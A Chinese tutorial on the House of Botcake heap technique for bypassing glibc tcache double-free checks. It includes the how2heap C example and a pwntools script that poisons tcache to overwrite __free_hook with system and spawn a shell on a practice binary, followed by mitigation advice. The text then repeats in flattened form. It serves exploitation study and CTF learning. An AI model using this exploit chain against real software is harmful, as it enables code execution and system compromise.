基于house_of_botcake的绕过tcachebin保护的攻击
字数 1829 2025-08-22 12:23:30

House of Botcake:绕过tcachebin保护的堆利用技术详解

1. 背景与原理

1.1 tcache保护机制的发展

在glibc 2.27版本引入tcache机制初期,tcache几乎没有保护机制。但在后续的2.31版本中,加入了针对double free的检测机制:

  • 当一个chunk被放入tcachebin时,其bk指针处会被设置为tcache_key
  • 每次程序将new free chunk放入tcache前,都会检查它是否已携带key值
  • 如果检测到已带有key值,就会产生报错

1.2 绕过tcache保护的主要方法

  1. 修改已进入tcachebin的chunk的bk指针处的key:直接修改key值来绕过保护
  2. 修改已进入tcachebin中的chunk的size:使其被再次free时进入其他tcache链表
  3. House of Botcake技术:利用合并和分割机制绕过保护

其中第一种和第三种方法在实际利用中更为常见。

2. House of Botcake技术详解

2.1 基本攻击流程

  1. 填充tcache链表:分配并释放7个相同大小的chunk填满tcachebin
  2. 准备victim chunk:分配一个额外的chunk作为攻击目标
  3. 释放victim到unsorted bin:由于tcache已满,victim会进入unsorted bin
  4. 触发合并:释放victim的前一个chunk,使其与victim合并
  5. 重新释放victim到tcache:从tcache取出一个chunk腾出空间,然后再次释放victim
  6. tcache poisoning:通过合并后的chunk覆盖victim的fd指针
  7. 获取任意地址分配:通过精心构造的fd指针实现任意地址分配

2.2 关键技术点

  • 绕过tcache_key检测:合并后的victim chunk的bk指针会被设置为main_arena附近的值,这可以绕过tcache_key检测
  • 合并与分割机制:利用unsorted bin的合并特性创建重叠chunk
  • 双重释放:通过精心设计的释放顺序实现有效的双重释放

3. 实例分析:How2Heap中的Botcake示例

3.1 代码关键步骤解析

// 1. 准备堆布局
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t *); i++){
    x[i] = malloc(0x100);  // 分配7个chunk
}

intptr_t *prev = malloc(0x100);  // 用于后续合并的chunk
intptr_t *a = malloc(0x100);    // victim chunk
malloc(0x10);                   // 防止合并的padding

// 2. 填充tcache
for(int i=0; i<7; i++){
    free(x[i]);
}

// 3. 释放victim到unsorted bin
free(a);

// 4. 触发合并
free(prev);

// 5. 从tcache取出一个并再次释放victim
malloc(0x100);
free(a);  // 关键的双重释放

// 6. tcache poisoning
intptr_t *b = malloc(0x120);
b[0x120/8 - 2] = (long)stack_var;  // 覆盖fd指针

// 7. 获取目标地址的chunk
malloc(0x100);
intptr_t *c = malloc(0x100);  // 获取stack_var处的chunk

3.2 攻击流程总结

  1. 分配9个chunk(0-8),释放前7个填满tcache
  2. 分配一个隔离chunk(9)防止top合并
  3. 释放8号chunk到unsorted bin
  4. 释放7号chunk触发合并
  5. 从tcache取出一个chunk腾出空间
  6. 再次释放8号chunk实现双重释放
  7. 通过合并后的chunk覆盖8号chunk的fd指针
  8. 通过两次分配获取目标地址的控制权

4. 实战例题分析

4.1 题目特点

  • 提供完整的堆操作功能:add、edit、show、delete
  • 存在UAF(Use After Free)漏洞
  • 存在堆溢出漏洞
  • 实际比赛中可能条件更苛刻(如只有一次UAF机会)

4.2 利用脚本解析

from pwn import *

# 初始化
context(log_level='debug', os='linux', arch='amd64')
p = process('./test')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# 功能封装
def add(index, size):
    # 添加chunk
    pass

def dele(index):
    # 删除chunk
    pass

def edit(index, size, content):
    # 编辑chunk
    pass

def show(index):
    # 显示chunk内容
    pass

# 1. 填充tcache
for i in range(9):
    add(i, 0x80)
for i in range(7):
    dele(i)

# 2. 准备隔离chunk和/bin/sh
add(9, 0x10)
edit(9, 0x10, b'/bin/sh\x00')

# 3. 释放victim并泄露libc
dele(8)
show(8)
libc_base = l64() - 0x1ecbe0
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

# 4. 触发合并并实现双重释放
dele(7)
add(10, 0x80)
dele(8)

# 5. tcache poisoning
add(11, 0xa0)
edit(11, 0xa0, b'a'*0x80 + p64(0) + p64(0x91) + p64(free_hook))

# 6. 获取free_hook并写入system
add(12, 0x80)
add(13, 0x80)
edit(13, 0x10, p64(system))

# 7. 触发system("/bin/sh")
dele(9)
p.interactive()

4.3 调试关键点

  1. 初始状态

    • 分配9个0x80大小的chunk
    • 释放前7个填满tcachebin
    • 8号chunk进入unsorted bin
  2. 合并阶段

    • 释放7号chunk与8号chunk合并
    • 合并后的chunk的fd/bk指向main_arena
  3. 双重释放

    • 从tcache取出一个chunk腾出空间
    • 再次释放8号chunk实现双重释放
  4. tcache poisoning

    • 通过合并后的chunk覆盖8号chunk的fd指针
    • 将fd指向__free_hook
  5. 获取控制权

    • 通过两次分配获取__free_hook处的chunk
    • 写入system地址
    • 触发free("/bin/sh")实现getshell

5. 防御与缓解

  1. 升级glibc版本:新版本可能引入更多保护机制
  2. 加强堆元数据校验:检查chunk大小和位置合理性
  3. 使用安全的内存分配器:如HardenedMalloc
  4. 启用额外保护:如FORTIFY_SOURCE等编译选项

6. 总结

House of Botcake是一种强大的堆利用技术,它通过:

  1. 精心设计的释放顺序绕过tcache保护
  2. 利用合并机制创建重叠chunk
  3. 通过分割操作实现内存覆盖
  4. 最终实现任意地址分配和控制流劫持

这种技术在现代堆利用中仍然有效,理解其原理对于二进制安全研究和漏洞防御至关重要。

House of Botcake:绕过tcachebin保护的堆利用技术详解 1. 背景与原理 1.1 tcache保护机制的发展 在glibc 2.27版本引入tcache机制初期,tcache几乎没有保护机制。但在后续的2.31版本中,加入了针对double free的检测机制: 当一个chunk被放入tcachebin时,其bk指针处会被设置为 tcache_key 每次程序将new free chunk放入tcache前,都会检查它是否已携带key值 如果检测到已带有key值,就会产生报错 1.2 绕过tcache保护的主要方法 修改已进入tcachebin的chunk的bk指针处的key :直接修改key值来绕过保护 修改已进入tcachebin中的chunk的size :使其被再次free时进入其他tcache链表 House of Botcake技术 :利用合并和分割机制绕过保护 其中第一种和第三种方法在实际利用中更为常见。 2. House of Botcake技术详解 2.1 基本攻击流程 填充tcache链表 :分配并释放7个相同大小的chunk填满tcachebin 准备victim chunk :分配一个额外的chunk作为攻击目标 释放victim到unsorted bin :由于tcache已满,victim会进入unsorted bin 触发合并 :释放victim的前一个chunk,使其与victim合并 重新释放victim到tcache :从tcache取出一个chunk腾出空间,然后再次释放victim tcache poisoning :通过合并后的chunk覆盖victim的fd指针 获取任意地址分配 :通过精心构造的fd指针实现任意地址分配 2.2 关键技术点 绕过tcache_ key检测 :合并后的victim chunk的bk指针会被设置为main_ arena附近的值,这可以绕过tcache_ key检测 合并与分割机制 :利用unsorted bin的合并特性创建重叠chunk 双重释放 :通过精心设计的释放顺序实现有效的双重释放 3. 实例分析:How2Heap中的Botcake示例 3.1 代码关键步骤解析 3.2 攻击流程总结 分配9个chunk(0-8),释放前7个填满tcache 分配一个隔离chunk(9)防止top合并 释放8号chunk到unsorted bin 释放7号chunk触发合并 从tcache取出一个chunk腾出空间 再次释放8号chunk实现双重释放 通过合并后的chunk覆盖8号chunk的fd指针 通过两次分配获取目标地址的控制权 4. 实战例题分析 4.1 题目特点 提供完整的堆操作功能:add、edit、show、delete 存在UAF(Use After Free)漏洞 存在堆溢出漏洞 实际比赛中可能条件更苛刻(如只有一次UAF机会) 4.2 利用脚本解析 4.3 调试关键点 初始状态 : 分配9个0x80大小的chunk 释放前7个填满tcachebin 8号chunk进入unsorted bin 合并阶段 : 释放7号chunk与8号chunk合并 合并后的chunk的fd/bk指向main_ arena 双重释放 : 从tcache取出一个chunk腾出空间 再次释放8号chunk实现双重释放 tcache poisoning : 通过合并后的chunk覆盖8号chunk的fd指针 将fd指向 __free_hook 获取控制权 : 通过两次分配获取 __free_hook 处的chunk 写入system地址 触发 free("/bin/sh") 实现getshell 5. 防御与缓解 升级glibc版本 :新版本可能引入更多保护机制 加强堆元数据校验 :检查chunk大小和位置合理性 使用安全的内存分配器 :如HardenedMalloc 启用额外保护 :如FORTIFY_ SOURCE等编译选项 6. 总结 House of Botcake是一种强大的堆利用技术,它通过: 精心设计的释放顺序绕过tcache保护 利用合并机制创建重叠chunk 通过分割操作实现内存覆盖 最终实现任意地址分配和控制流劫持 这种技术在现代堆利用中仍然有效,理解其原理对于二进制安全研究和漏洞防御至关重要。